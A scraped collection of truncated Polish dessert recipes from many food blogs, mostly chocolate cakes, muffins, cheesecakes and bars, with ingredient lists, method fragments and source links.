dark muscovado lub ⅓ zwykłego ½ szklanki miodu 1 łyżeczka sody oczyszczonej 1 ½ łyżeczki wrzącej wody 1 ½ szklanki mąki pszennej 1 łyżka przyprawy do pierników 1 łyżka   ciemnego kakao 200g czekolady mlecznej lub gorzkiej pokrojonej w 1cm kostkę dodatkowo dodałam garść dowolnych orzechów, około ½ szklanki ¼ szklanki drobnego cukru do obtoczenia ciastek  Wykonanie: masło ucieramy około3-4 minuty ze startym imbirem(...)rozpuszczenia mąkę, kakao oraz przyprawę do piernika mieszamy ze sobą , następnie dodajemy ją w dwóch turach do masy razem z rozpuszczoną sodą na koniec dodajemy pokrojoną w kostkę czekoladę i   posiekane orzechy, całość dokładnie mieszamy, miskę przykrywamy i wkładamy do lodówki na 2-3 godziny, a najlepiej na całą noc z ciasta formujemy kulki (użyłam łyżki do lodów) układamy

Słodkie zapomnienie
KRUCHE CIASTO MILIONERA 136

Składniki na spód( 19x29cm lub 25x30cm): 175g mąki pszennej 50g zmielonego lub bardzo drobnego brązowego cukru 125g zimnego masła Dodatkowo: 1 puszka (400g) masy kajmakowej Polewa 170g mlecznej czekolady 3-4 łyżki masła Czekoladę i masło roztapiamy w kąpieli wodnej, lekko studzimy Wykonanie: ze wszystkich składników czyli przesianej mąki, cukru oraz pokrojonego na kawałki zimnego masła, zagniatamy ciastko, które przekładamy

Słodkie zapomnienie
CIASTO PIJANA ŚLIWKA 145

biszkopt nie był nasączany niczym więc można pominąć): ⅓ szklanki zaparzonej  rozpuszczalnej kawy z 1 czubatej łyżeczki ⅓ szklanki wódki Wszystkie składniki mieszamy ze sobą Dodatkowo: 50g startej najlepiej gorzkiej czekolady Wykonanie: Biszkopt: białka ubijamy ze szczyptą soli na sztywno, partiami wsypujemy   cukier, następnie nie przerywając ubijania dodajemy po jednym żółtku do masy dodajemy przesianą mąki   z kakao, mieszamy(...)wykładamy na niego całą masę czekoladowo-śliwkową, którą przykrawamy drugim blatem ,który również nasączamy naparem z kawy z wódką, smarujemy   go ubitą śmietaną, na wierzch ściemy na tarce czekoladę, schładzamy w lodówce autor sugeruje aby godzinę przed podaniem ciasto wyjąć z lodówki. Źródło:   http://zmiksowani.pl/przepis/497977

Słodkie zapomnienie
MUFFINY Z BIAŁĄ CZEKOLADĄ 160

drobnego cukru 2 łyżeczki cukru waniliowego 2 łyżeczki proszku do pieczenia 1 szklanka mleka w temperaturze pokojowej ⅓ szklanki oleju np. rzepakowego 2 średnie jajka w temperaturze pokojowej 100g białej czekolady   Wykonanie: do jednej misce mieszamy wszystkie suche składniki czyli mąkę, cukry i proszek do pieczenia w drugiej misce mieszamy mleko, olej i jajka do suchych składników dodajemy mokre oraz(...)posiekaną czekoladę, całość mieszamy ciasto przekładamy do foremek na muffinki wyłożonych papilotkami do ¾ ich wysokości pieczemy około   25 minut w piekarniku nagrzanym do 180°C. Źródło: http://smacznieikolorowo.blogspot.com/2014/02/muffiny-z-kawakami-czekolady.html

Słodkie zapomnienie
KOSTKA ALPEJSKA 123

około 5 łyżek wody wymieszanych z 3 łyżkami np. likieru kawowego lub wódki lub soku z cytryny lub herbaty Dodatkowo: 260g powideł śliwkowych lub innego ulubionego dżemu 50g gorzkiej czekolady Wykonanie: Biszkopt: białka ubijamy na sztywno ze szczyptą soli, następnie partiami ( nie przerywając miksowania ) dodajemy cukier, miksujemy aż uzyskamy gładką i sztywną pianę do ubitych białek dodajemy po jednym żółtku(...)dodajemy do pozostałej ubitej śmietany, mieszamy Wykonanie: zimny biszkopt nasączamy ponczem i smarujemy dżemem, następnie wykładamy krem kajmakowy, na którym rozsmarowujemy bitą śmietanę na koniec na wierzch ścieramy gorzką czekoladę. Źródło: http://www.kwestiasmaku.com/desery/ciasta/kostka_alpejska/przepis.html

Słodkie zapomnienie
BROWNIE Z TRUSKAWKAMI 126

hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} Składniki ( forma 21x21cm): 200g gorzkiej czekolady 70% 150g masła 4 jajka 150g cukru brązowego 3 płaskie łyżki mąki pszennej 1 płaska łyżka ciemnego kakao szczypta soli 250g truskawek Wykonanie: połamaną czekoladę razem z masłem roztapiamy

Słodkie zapomnienie
ZDROWE BATONY KOKOSOWE 205

Składniki (8 szt. +/- ): 2 szklanki   wiórków kokosowych szczypta soli ¼ szklanki roztopionego oleju kokosowego ¼ szklanki miodu 1 łyżeczka ekstraktu waniliowego dodatkowo na polewę   około 50g gorzkiej czekolady   70% i płatki kokosowe Wykonanie: do miski wsypujemy wiórki kokosowe oraz szczyptę soli, całość blędujemy   1-2 minuty olej kokosowy roztapiamy w rondlu i lekko przestudzony razem z miodem(...)niewielkiej formy wyłożonej papierem do pieczenia lub formujemy wałek który zawijamy w folię spożywczą i wkładamy na 1 godzinę do lodówki schłodzony rulon kroimy na plastry, które polewamy roztopioną czekolady i posypujemy płatkami kokosowymi (ja schłodzony wałek , pokroiłam na plastry i żeby uzyskać ładny okrągły kształt, każdego z nich, pojedynczy plaster wkładamy do okrągłej foremki takiej do robienia ciasteczek

Słodkie zapomnienie
KOSTKA BROWNIE Z MALINAMI 123

Składniki ( 24szt+/- lub mała tortownica 18cm): 1 tabliczka (100g) gorzkiej czekolady 70% 100g masła 50g mąki pszennej 75g brązowego cukru 3 średnie jajka garść malin Wykonanie: do miski wkładamy połamaną czekoladę oraz masło i roztapiamy je w kąpieli wodnej, odstawiamy do lekkiego przestudzenia do drugiej miski dodajemy mąkę, cukier oraz jajka, mieszamy następnie   wlewamy lekko przestudzoną masę czekoladową

Słodkie zapomnienie
MURZYNEK Z POWIDŁAMI I KREMEM ŚMIETANOWYM- ŁATWY :) 297

łyżek cukru pudru Wykonanie kremu: wszystkie składniki czyli serek mascarpone, śmietankę kremówkę, cukier puder, wkładamy do   miski i miksujemy do uzyskania gładkiego śmietanowego kremu Dodatkowe: starta gorzka czekolada około ½ tabliczki (50g) 100-150g jagód/borówki /malin Wykonanie: do miski wkładamy mąkę, cukier, cukier waniliowy, kakao, proszek do pieczenia, sodę, jajko, mleko oraz olej   , miksujemy , następnie dodajemy(...)połowę ciasta układamy np. na desce, wykładamy na nie połowę kremu śmietanowego , na którym układamy jagody, przykrywamy drugim płatem ciasta na którym rozsmarowujemy pozostały krem, wyrównujemy i posypujmy startą czekoladą, ciasto przechowujemy w lodówce. Inspiracja: http://wielkiezarcie.com/przepisy/murzynek-wszechstronny-szybki-i-latwy-30025015

Słodkie zapomnienie
MUFFINY CZEKOLADOWE NA HALLOWEEN 201

Normal 0 21 false false false PL X-NONE X-NONE MicrosoftInternetExplorer4 Składniki na 12 szt.: 100g gorzkiej czekolady 80g masła 30g ciemnego kakao 3 średnie jajka 120g cukru 250g mąki pszennej 2 łyżeczki proszku do pieczenia 5-6 łyżek mleka dodatkowo żelki w kształcie dżdżownic Wykonanie: w rondlu rozpuszczamy czekoladę, masło oraz kakao, gotową masę odstawiamy do ostudzenia jajka

Słodkie zapomnienie
CIASTO KAKAOWE Z FASOLI BEZ TŁUSZCZU 157

łyżki cukru trzcinowego 2-3 łyżki miodu 3 łyżki ciemnego kakao 1 płaska łyżeczka proszku do pieczenia garść jagód goi lub żurawiny dodatkowo na polewę potrzebujemy 1 tabliczka gorzkiej czekolady 70% Wykonanie: do malaksera wkładamy : czerwoną fasolę, banan, jajka, cukier trzcinowy, miód, kakao oraz proszek do pieczenia , miksujemy aż uzyskamy gładką masę do której dodajemy garść jagód goi ,mieszamy ciasto(...)tłuszczu i może być problem z odklejeniem go później od papieru) pieczemy około 50 minut w piekarniku nagrzanym do 180°C do suchego patyczka. gotowe ciasto polewamy roztopioną czekoladą. Źródło: Magazyn „Maszkety

Słodkie zapomnienie
CIASTECZKA CHAŁWOWE 193

szklanka mąki pszennej 2 łyżki cukru ½ łyżeczki proszku do pieczenia 100g chałwy np. waniliowej 3 łyżki śmietany 1 żółtko dodatkowo około 40-50g   roztopionej czekolady mlecznej/gorzkiej do ozdobienia ciasteczek Wykonanie: wszystkie składniki czyli mąkę, cukier, proszek do pieczenia, pokruszoną chałwę, śmietanę oraz żółtko wkładamy do miski i zagniatamy z nich gładkie ciastko, które następnie zawijamy w folię(...)wykrawamy np. gwiazdki , które układamy na blaszce wyłożonej papierem do pieczenia ciastka pieczemy około10 minut na złoty kolor w piekarniku nagrzanym do 170ºC zimne ciastka dopiero polewamy roztopioną czekoladą . Źródło:https://www.mniammniam.com/Swiateczne_ciasteczka_z_chalwa-15888p.html

Słodkie zapomnienie
Sernik wiedeński 187

cukier waniliowy 150 g masła 3 płaskie łyżki mąki ziemniaczanej 100 g rodzynek skórka z 1 cytryny 100 g skórki pomarańczowej ( Przepis na blogu ) Dekoracja: 100 g czekolady deserowej (ja użyłam 50 g mlecznej i 50 g gorzkiej) 2 łyżki śmietany 30 g skórki pomarańczowej Przygotowanie: Zmielić ser twarogowy 3 krotnie. Masło (o temperaturze pokojowej) utrzeć(...)stopniach (20 minut przed końcem pieczenia, gdy wierzch sernika się zarumieni należy przykryć go papierem lub folią aluminiową, aby się nie przypalił). Dekoracja: Polewa: czekoladę rozpuścić, dodać śmietanę i dokładnie wymieszać. Wysmarować polewą wierzch sernika, a skórką pomarańczową udekorować boki lub środek, według własnych upodobań. Krok po kroku: 1. Zmielić ser biały 2. Ubić

KuchniaWeDwoje.pl
Deser bananowe łódki 121

wszystko. Bo czasami coś zwykłego i oczywistego podanego inaczej smakuje po prostu lepiej. Spróbujcie. Składniki: 2 banany 4 łyżeczki masła orzechowego kilka malin kilka borówek kilka jeżyn klika kostek czekolady Przygotowanie: 1) Banany obrać i przekroić na pół. 2) Każdą połówkę posmarować łyżeczką masła orzechowego. 3) Na wierzchu każdej łódeczki poukładać owoce i czekoladę. 4) Podawać od razu po przygotowaniu

Fitsweet.me
Muffinki piernikowe 158

przyprawy do piernika 1 łyżeczka sody 1 łyżeczka proszku do pieczenia 1/2 szklanki powideł 1/3 szklanki oleju 1/2 szklanki mleka 2 łyżki miodu 2 jajka Polewa: 60 g gorzkiej czekolady 1 łyżeczka masła Sypkie składniki, czyli mąkę, cukier, kakao, przyprawę do piernika, sodę i proszek do pieczenia mieszamy ze sobą. W osobnej misce mieszamy mokre składniki - powidła, olej, mleko, miód(...)uzyskania jednolitego ciasta. Za pomocą łyżeczki przekładamy je do papierowych foremek. Wkładamy je do piekarnika nagrzanego do 180 stopni na około 30 minut (aż do suchego patyczka). Czekoladę wraz z masłem rozpuszczamy nad kąpielą wodną. Smarujemy nią wierzch muffinek i dowolnie dekorujemy

My simple kitchen
Daktylowa tarta z kremem o smaku mango i kokosa 113

pominąć) -80 g płatków jaglanych lub owsianych -1 łyżka oleju krem: -250 g twarogu chudego -50 g wiórków kokosowych -200 g śmietanki 30% -2 łyżki żelatyny -1 mango +kostka czekolady gorzkiej do posypania (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Daktyle jeśli suszone, zalać wrzątkiem i odstawić na 2 godz. a następnie odcedzić. Jak świeże to wrzucamy od razu do melaksera(...)mango, ubitą śmietankę i miksujemy. Gdy składniki się połączą wlewamy żelatynę i krótko jeszcze miksujemy. Powstały krem wylewamy na spód i rozprowadzamy równomiernie. Polecam zetrzeć na małych oczkach kostkę czekolady na wierzch. Wstawiamy do lodówki na minimum 3 godz

Zdrowie i pysznie na talerzu
Sernik z bakaliami 143

mieszamy. Gotową masę wylewamy do wyłożonej papierem do pieczenia formy. Wkładamy do nagrzanego piekarnika do 150°C z termoobiegiem i pieczemy około 50 minut. Gotowy sernik pozostawiamy do wystudzenia. Czekolady roztapiamy. Mleczną czekoladą smarujemy całą górę wystudzonego sernika, a białą robimy wzorki. Smacznego Artykuł Sernik z bakaliami pochodzi z serwisu PatiGotuje

PatiGotuje
Batoniki z granoli 184

dużych batoników forma 28 x 33 x 3 cm: - ok. 1.200 g granoli ( TU przepis na domową ) - 180 g uprażonych orzechów laskowych - 90 g amartantusa ekspandowanego - 400 g białej czekolady - 340 g Candy Buttons (dałam różowe) - 200 g białych chipsów czekoladowych - 360 g masła orzechowego - ok. 75 ml ciemnego rumu (opcjonalnie) Granolę miksujemy, jednak tylko na tyle, aby pozostały większe(...)kawałki. Candy Buttons, chipsy czekoladowe, pokrojoną białą czekoladę oraz masło orzechowe rozpuszczamy w misce na parze. Do rozpuszczonej masy dodajemy porcjami granolę, posiekane orzechy laskowe, amarantus, za każdym razem mieszając składniki. Masę przekładamy do formy wyłożonej papierem do pieczenia. Równamy powierzchnię, posypujemy amaratnusem i przykrywamy papierem do pieczenia. Obciążamy, np. butelkami z wodą. Pozostawiamy na 1 – 2 godziny, następnie

mojewypiekiinietylko
Na wysokim obcasie- tort urodzinowy 205

połączenia. Przelać do formy i piec w temperaturze 170 stopni około 50 minut - sprawdzając patyczkiem. Wystudzić i przekroić na połowę.  Krem ganache 250 ml śmietany kremówki 200g czekolady (użyłam 50%) Śmietanę zagrzać, jak zacznie wrzeć odstawić z palnika i wsypać pokruszoną czekoladę.  Pozostawić na 5 minut następnie wymieszać, aż powstanie gładki sos czekoladowy. Schłodzić w lodówce

Piekarz-Kucharz-Garkotłuk
SERNIK A'LA MONTE 127

deseru Monte lub podobnego  3 jajka  3-4 łyżki cukru 1 op. dużego budyniu czekoladowego bez cukru szczypta soli Polewa: 100 g gorzkiej czekolady 1 łyżka masła  garść orzechów włoskich Wykonanie: Ciasto: Przesianą przez sito mąkę mieszamy w misce z cukrem pudrem, kakao i proszkiem do pieczenia. Dodajemy żółtka i pokrojone w kostkę, zimne masło. Zagniatamy ciasto(...)serowej i delikatnie mieszamy łyżką. Masę wykładamy na podpieczony spód, wyrównujemy wierzch i wkładamy do piekarnika nagrzanego do 170 stopni na około 60 min. Studzimy w wyłączonym piekarniku. Polewa: Czekoladę gorzką topimy z masłem w kąpieli wodnej. Gotową polewę rozprowadzamy na wierzchu wystudzonego sernika. Orzechy włoskie grubo siekamy. Posypujemy nimi wierzch ciasta. Przechowujemy w chłodnym miejscu. P.S. Przepis pochodzi

Kuchnia MagdaLeny
Zebra. 153

Wyjmujemy z piekarnika i pozostawiamy w foremce na około 15 minut. Po tym czasie ciasto możemy ostrożnie wyjąć z formy, a gdy przestygnie dowolnie udekorować. Polewa czekoladowa: 60 g czekolady gorzkiej 1 łyżka masła      Składniki polewy przekładamy do miseczki i topimy w kąpieli wodnej lub mikrofalówce (wkładamy na 40 sekund i po tym czasie mieszamy, jeśli czekolada

Rozpustne gotowanie
Ciasto z kremem budyniowym i bananem 155

duży budyń waniliowy 250 g masła 4 łyżki cukru 3 łyżki cukru pudru dodatkowo 400 ml śmietany 2 opakowania śmietan-fix 4-5 bananów 60 g gorzkiej czekolady Wykonanie: Mąki przesiać. Białka oddzielić od żółtek. Do białek wsypać szczyptę soli, ubić na sztywną pianę. Następnie  nie przerywając miksowania  dosypywać po łyżce cukier  . Gdy piana stanie się(...)biszkopcie układamy banany, następnie nakładamy krem czekoladowy, a na nią waniliowy. Schłodzoną śmietanę ubić z fix-em i wyłożyć na krem budyniowy. Wierzch posypać startą czekoladą. Wstawić do lodówki najlepiej na całą

magiczna kuchnia Kasi
Ciasto bananowe toffi 309

masła Na masę śmietanową: 500 ml śmietanki 30% 2 śmietan-fixy 3 łyżki cukru pudru Dodatkowo: 3 duże banany 1 puszka masy krówkowej Herbatniki maślane kakaowe Mleczna czekolada Mleko Przygotowanie: Biszkopt: Jajka ubić z cukrami na jasną, puszystą masę. Wsypać przesianą mąkę z proszkiem do pieczenia, i delikatnie wmieszać w masę. Przelać do formy wyłożonej papierem do pieczenia o wymiarach(...)banana. Następnie wyłożyć krem budyniowy i rozprowadzić delikatnie na bananach. Herbatniki maczać w mleku i układać na krem. Rozsmarować pozostałą część masy krówkowej. Wyłożyć masę śmietanową i posypać startą czekoladą. Schłodzić w lodówce, ciasto jest najlepsze na drugi dzień

My sweet a life
Piernik dyniowy. Prosty, bez ucierania 163

orzechów włoskich Składniki mokre: 1 szklanka puree z dynii (200 g) 1/2 szklanki oleju (80 ml) 1/2 szklanki mleka 1 jajko - opcjonalnie Składniki na polewę czekoladową: 70 g gorzkiej czekolady 50 ml śmietany kremówki cynamon - opcjonalnie Wykonanie: odważyć lub odmierzyć szklanką suche składniki, wymieszać. Posiekać orzechy, odłożyć w drugiej misce odmierzyć składniki mokre i wymieszać mokre składniki dodać do suchych(...)minut. Przed wyjęciem z piekarnika sprawdzić patyczkiem, czy piernik jest upieczony początkowo studzić w foremce, następnie wyjąć piernik z foremki i studzić na kratce zagotować śmietankę kremówką, dodać połamaną czekoladę i odstawić na kilka minut, następnie zamieszać. Polać piernik polewą i posypać resztą posiekanych orzechów

Gotuj zdrowo!Guten Appetit!
3 - bit wersja inna inna niż wszystkie 207

prosiła o przepis.  Składniki: 1 paczka herbatników kakaowych* 1 paczka herbatników pełnoziarnistych* 1 puszka masy krówkowej (400 g) parę łyżek nutelli około 1/2 tabliczki mlecznej lub gorzkiej czekolady Na krem budyniowy Krem "karpatka" (np. Delecta)** 2 szklanki mleka (400 ml) cukier wanilinowy 2 żółtka (można pominąć) 1 kostka masła 200 g (dobrej jakości min 82 %)*** Na krem śmietanowy(...)uzyskania pożądanej konsystencji. Krem śmietanowy wyłożyć na ostatnią warstwę herbatników, posmarowanych nutellą - pamiętając jednak, że krem budyniowy z warstwy niżej nie był ciepły. Wyrównać powierzchnię. Całość przyozdobić startą czekoladą. Włożyć do lodówki. Na ok. 2 godz. Jednak lepiej na całą noc, wtedy herbatniki ładnie zmiękną. Przechowywać w lodówce. Smacznego i do roboty!!! Oryginalna wersja przepisu na 3-bit nie zawiera

My sweet a life
Sernik z jogurtów greckich 133

kubeczki) 60 g mąki ziemniaczanej 5 jajek (żółtka i białka osobno) szczypta soli 3/4 szklanki cukru 1 opakowanie cukru wanilinowego 0,5 szklanki oleju Na polewę: 100 g mlecznej czekolady 60 g masła Przygotowanie: Spód: Mąkę wraz z kakao i proszkiem do pieczenia przesiać przez sito, dodać masło lub margarynę, przesiekać nożem. Następnie dodać cukier, żółtka i zagnieść ciasto. Uformować(...)całość połączyć.  Przelać na podpieczony spód, wyrównać powierzchnię i piec 1 godzinę w temp. 180 st. Po upieczeniu pozostawić w piekarniku do wystygnięcia, przy lekko uchylonym piekarniku. Polewa: Czekoladę rozpuścić z masłem w kąpieli wodnej i nałożyć na wystudzony sernik. Sernik chłodzić w lodówce przez min. 4 godz (najlepiej całą noc wtedy uzyskuje najlepszy smak). Smacznego

My sweet a life
Babeczki "Murzynki" 142

szklanki cukru 1 opakowanie cukru wanilinowego 1,5 szklanki mąki 4 łyżki ciemne kakao szczypta soli 1 łyżeczka sody oczyszczonej 1 łyżeczka proszku do pieczenia Dodatkowo: 100 g mlecznej czekolady 1 łyżka kwaśnej śmietany Przygotowanie: Żółtka utrzeć z cukrami na puszystą masę. Dodać olej i mleko - wymieszać.  W osobnej misce wymieszać przesianą mąkę, proszek do pieczenia, sodę i kakao(...)soli na sztywno. Delikatnie wmieszać w ciasto. Blaszkę do muffinek wyłożyć papierowymi foremkami. Do każdej foremki nakładać masę do około 3/4 wysokości. Piec 30 min. w temp. 180 st. Czekoladę wraz ze śmietaną roztopić w kąpieli wodnej. Jeśli polewa byłaby zbyt gęsta dodać odrobinę śmietany. Polewać upieczone babeczki i pozostawić do wystudzenia.   Smacznego

My sweet a life
Kinder Bueno - bez pieczenia 167

laskowych Na krem ciemny: 4-5 łyżek kremu do smarowania typu Nuttella 200 ml śmietanki 30 % 250 g serka mascarpone Na polewę czekoladową: 2 łyżki masła 100 g gorzkiej czekolady Przygotowanie: Dno foremki o wymiarach 24 x 26 cm wyłożyć papierem do pieczenia. Na dno poukładać herbatniki kakaowe, rozsmarować na nich krem do smarowania i przykryć warstwą herbatników jasnych(...)ubić na sztywno, dodać serek mascarpone i krem do smarowania i zmiksować do połączenia składników. Nałożyć trochę niedbale na resztę ciasta, żeby powstały lekkie fale. Odłożyć do lodówki. Polewa: Czekoladę rozpuścić w garnuszku z masłem i odstawić do ostudzenia. Wystudzoną polewą polać ciasto. Ciasto chłodzić w lodówce - najlepiej całą noc. Smacznego

My sweet a life
Ciasto Advokacik 235

cukru pudru 500 ml śmietanki 30 % Na masę śmietanową: 500 ml śmietany 30 % 3 łyżeczki żelatyny 3 łyżki wody 3-4 łyżki cukru pudru Na galaretkę: 100 g białej czekolady 1 łyżeczka żelatyny 2 łyżki wody 100 ml likieru advocaat Przygotowanie: Biszkopt: Jajka ubić z cukrami na jasną, puszystą masę. Wsypać przesianą mąkę, z kakao, proszkiem do pieczenia i delikatnie(...)ubijania dodać cukier i przestudzoną żelatynę. Przełożyć na stężałą masę advocaat. Galaretka: Żelatynę połączyć z chłodną wodą i odstawić do napęcznienia. Następnie rozpuścić nad ogniem. Połączyć z likierem. Białą czekoladę rozpuścić w kąpieli wodnej i wymieszać z likierem. Płynną masę przelać na stężałą masę śmietanową. Schłodzić w lodówce do stężenia galaretki. Smacznego

My sweet a life
Ciasto “Wiśnia z makiem” 349

wody Dodatkowo: -1,5 szklanki drylowanych wiśni z kompotu -1 opakowanie okrągłych biszkoptów (120g) -2/3 szklanki zaparzonej, ostudzonej kawy + 2 łyżki likieru Amaretto -50 g gorzkiej czekolady do posypania ciasta Przygotowanie --> Ciasto makowe: --> Wszystkie składniki powinny być w teperaturze pokojowej. --> Mak zalać wrzątkiem i odstawić do całkowitego wystygnięcia. Następnie odcisnąć z nadmiaru wody (najlepiej za pomocą lnianej ściereczki). Jeżeli(...)Wierzch masy ponownie wygładzamy. Biszkopty krótko moczymy w kawie z dodatkiem Amaretto i układać na cieście. Na biszkopty wykładamy masę czekoladową i delikatnie rozsmarowujemy. Na wierz ciasta ścieramy gorzką czekoladę. --> Ciasto wstawiamy do lodówki na kilka godzin, najlepiej na całą noc. --> Smacznego Post Ciasto “Wiśnia z makiem” pojawił się poraz pierwszy w Mgotuje

Marta Gotuje
ciasto wiewiórka 338

łyżeczka proszku do pieczenia 1 łyżeczka sody 2 łyżeczki cynamonu 1/2 szklanki oleju 3 duże jabłka (najlepiej szara reneta) 1 szklanka posiekanych orzechów 1 szklanka suszonej żurawiny 100 g czekolady wykonanie: Całe jajka ubijam z cukrem na puszystą masę. Miksując dodaję mąkę wymieszaną z proszkiem do pieczenia, sodą i cynamonem, wlewam olej. Do ciasta dodaję starte na grubych oczkach jabłka(...)oraz orzechy, żurawinę i posiekaną czekoladę. Mieszam delikatnie do połączenia składników. Masę wykładam na blaszkę (26 x 21) wyłożoną papierem do pieczenia, wstawiam do piekarnika nagrzanego do 180 stopni, piekę około 45 minut. Gotowe ciasto posypuję cukrem pudrem

babka w formie
Babeczki dyniowe 184

jajka 1 szklanka mąki pszennej ½ szklanki cukru 1 opakowanie cukru wanilinowego 1 łyżeczka proszku do pieczenia skórka i sok z 1 pomarańczy Dodatkowo: 50 g czekolady (deserowej, mlecznej lub gorzkiej) Przygotowanie: Masło rozpuścić w rondelku, ściągnąć z gazu. Dodać cukier i mieszać do czasu, aż cukier się rozpuści. Dodać puree z dyni(...)Wlać masę dyniową do mąki i wymieszać 8. Ubić białka 10. Przelać ciasto do foremek 9. Delikatnie połączyć białka z ciastem 11. Upiec babeczki 12. W kąpieli wodnej rozpuścić czekoladę 13. Polać babeczki Poprzedni 1 z 13 Następny   A wy jakie słodkie jesienne przekąski lubicie najbardziej? Zapisz się na newsletter: http://kuchniawedwoje.pl/newsletter/ Artykuł Babeczki dyniowe pochodzi

KuchniaWeDwoje.pl
Kokosowy pudding z chia i kaki - bez cukru, mleka, fit 126

Składniki (na dwie porcje): - 1 szklanka mleka kokosowego - uzyłam  tego - 4 łyżki chia - 1 kaki - płatki migdałowe - do posypania - czekolada 99% - potarta - do posypania -  użyłam  tej Przygotowanie: Chia wsypujemy do mleka kokosowego i odstawiamy na 40 minut. Kaki obieramy ze skórki i blendujemy na mus. Do szklanki nakładamy kolejno: warstwę z chia, mus z kaki, warstwę(...)chia. Posypujemy startą czekoladą i płatkami migdałowymi. \ Inne przepisy z Chia: Jaglany budyń owocowy Koktajl z chia Cukierkowy koktajl

Szkrab Je Sam
Muffinki czekoladowe – bez miksera 141

Proste muffinki czekoladowe na prawdziwej czekoladzie, oblane mleczną czekoladą i posypane chrupiącymi kawałkami surowego kakao. Pyszne, wilgotne, rozpływające się w ustach. Przepis na muffiny bez miksera . The post Muffinki czekoladowe – bez miksera appeared first on Moja Delicja

Moja Delicja
Wegańskie i bezglutenowe ciastka pomarańczowe z czekoladą 192

chyba, że spałaszujecie od razu całą blachę, o co znowu nie jest tak trudno Zwłaszcza, że ciastka są fantastycznie chrupiące z zewnątrz, niebiańsko pachnące pomarańczami i wzbogacone kawałkami czekolady. To jeden z moich ulubionych wypieków jesiennych – gorąco zachęcam do wypróbowania. Składniki na 15 ciastek: 50 g oleju kokosowego w temperaturze pokojowej /lub masła w wersji niewegańskiej 90 g syropu(...)skórką z pomarańczy umieścić w misce, utrzeć przy pomocy miksera na jednolitą masę. Dodać sok z pomarańczy, oba rodzaje mąki i sodę – zmiksować do połączenia. Na koniec wsypać posiekaną czekoladę/groszki/kruszone kakao, wymieszać całość łyżką (część czekolady/kakao można odłożyć do posypania ciastek przed pieczeniem). Misę zabezpieczyć od góry folią spożywczą i wstawić do lodówki na 30 – 45 minut. Piekarnik rozgrzać

Even Better Food
Małe co nieco czyli „Michałki” w wersji fit i wege 148

delikatnego oleju roślinnego (u mnie kokosowy, należy rozpuścić aby był płynny) 2 czubate łyżki kakao- około 40 g (może też być karob, jest lekko słodki) 100 g gorzkiej czekolady do dekoracji Przygotowanie: za pomocą blendera lub „ręcznego” thermomiksa posiekać bardzo drobno orzechy. Wszystkie suche składniki wymieszać dokładnie w misce, dodać posiekane orzechy. to mój ręczny Thermomix Dodaj masło(...)była wyższa nić 2 cm) wyłóż papierem do pieczenia, przełóż masę, wyrównaj i wstaw do zamrażalnika na 30 minut. Schłodzoną masę pokrój na kawałki. Olej roztopioną w kąpieli wodnej czekoladą, ponownie włóż na 5 minut do zamrażalnika i gotowe! Smacznego!     Artykuł Małe co nieco czyli „Michałki” w wersji fit i wege pochodzi z serwisu %%http://www.greenscarf.pl

greenscarf
Piernik przekładany galaretką z dżemem/powidłami śliwkowymi 494

łyżki kakao (opcjonalnie) Przełożenie: 2 słoiki dżemu/powideł śliwkowych (2 x 290g; może być dżem zmieszany z powidłami) 1 opakowanie galaretki (u mnie brzoskwiniowa) Polewa (miękka): 120g czekolady (u mnie mleczna) 100 ml śmietanki 30% Przygotować ciasto.  Masło/margarynę utrzeć z cukrem na puszystą masę. Ciągle mieszając - dodawać po jednym żółtku i później stopniowo miód. (Masa może(...)galaretką i delikatnie ostudzić (ale tak, aby masa mocno nie zastygła). Gotowym przełożeniem posmarować piernikowe blaty. Przygotować polewę. Kremówkę należy podgrzać, zdjąć z palnika i do garnuszka dodać posiekaną czekoladę. Po odczekaniu 2-3 minut całość dokładnie wymieszać, a następnie odstawić aż polewa lekko zgęstnieję Gotową polewą posmarować wierzch oraz boki ciasta. Inspiracja z blogu: Moje Wypieki

Di gotuje
Wegańskie batoniki 202

banany 2 łyżki kakao; 2 łyżki oleju kokosowego; 1 łyżka syropu z agawy  Trzecia warstwa - czekoladowa 200 g  kremu kokosowego; 100 g  wegańskiej gorzkiej czekolady; 2-3 łyżki syropu z agawy; 4 łyżki oleju kokosowego; 1 łyżka kakao; Wykonanie: Pierwsza warstwa Pojemnik kwadratowy/prostokątny wyłożyć papierem do pieczenia. Wszystkie składniki pierwszej części wrzucamy do blendera i mielimy(...)utworzyła pierwszą warstwę. Wkładamy do lodówki. Druga warstwa: Podobnie, jak pierwszą warstwę blendujemy składniki. Umieszczamy na pierwszej warstwie, równomiernie drugą warstwę batonika. Wkładamy do lodówki. Trzecia warstwa: Podgrzewamy czekoladę oraz olej kokosowy, aby się rozpuściły. Masę czekoladową oraz pozostała składniki umieszczamy w blenderze i miksujemy. Silikonową szpatułką rozkładamy masę czekoladową na drugą warstwę. Staramy się równomiernie.  Wkładamy do lodówki

Smaki Przyprawy i Kolory
BIAŁA CZEKOLADA Z ORZECHAMI 151

jakiś czas możemy sobie pozwolić na słodką rozpustę.... Artykuł BIAŁA CZEKOLADA Z ORZECHAMI pochodzi z serwisu CookMagazine

COOKMAGAZINE
Pieczone jabłko z kaszą jaglaną - dla niemowląt i dorosłych 119

pyszny gładki krem, z którego przygotowałam zdrowy deser. Oczywiście Natalia zjadła kilka łyżeczek, a reszta wzbogacona o białe jabłuszko była moja! Białe jabłuszko (*) to rewelacyjne połączenie jabłka i białej czekolady z lekką nutą cynamonu! Jeden słoiczek zjadłam w wersji solo - mus jest taaak pyyyszny! Ogólnie rzecz biorąc to prezentowany przepis nadaje się na syte śniadanie lub też zaspokojenie chęci(...)sercem. Oprócz uroczego wyglądu, kuszą nazwą smakiem i różnorodnością. Wszystkie propozycje stawiają jednocześnie na smak i zdrowie. Białe jabłuszko   to przepyszny mus składający się z jabłka, białej czekolady oraz odrobiny cynamonu. Połączenie? Booooskie

Di gotuje
Kostka malinowo-czekoladowa 141

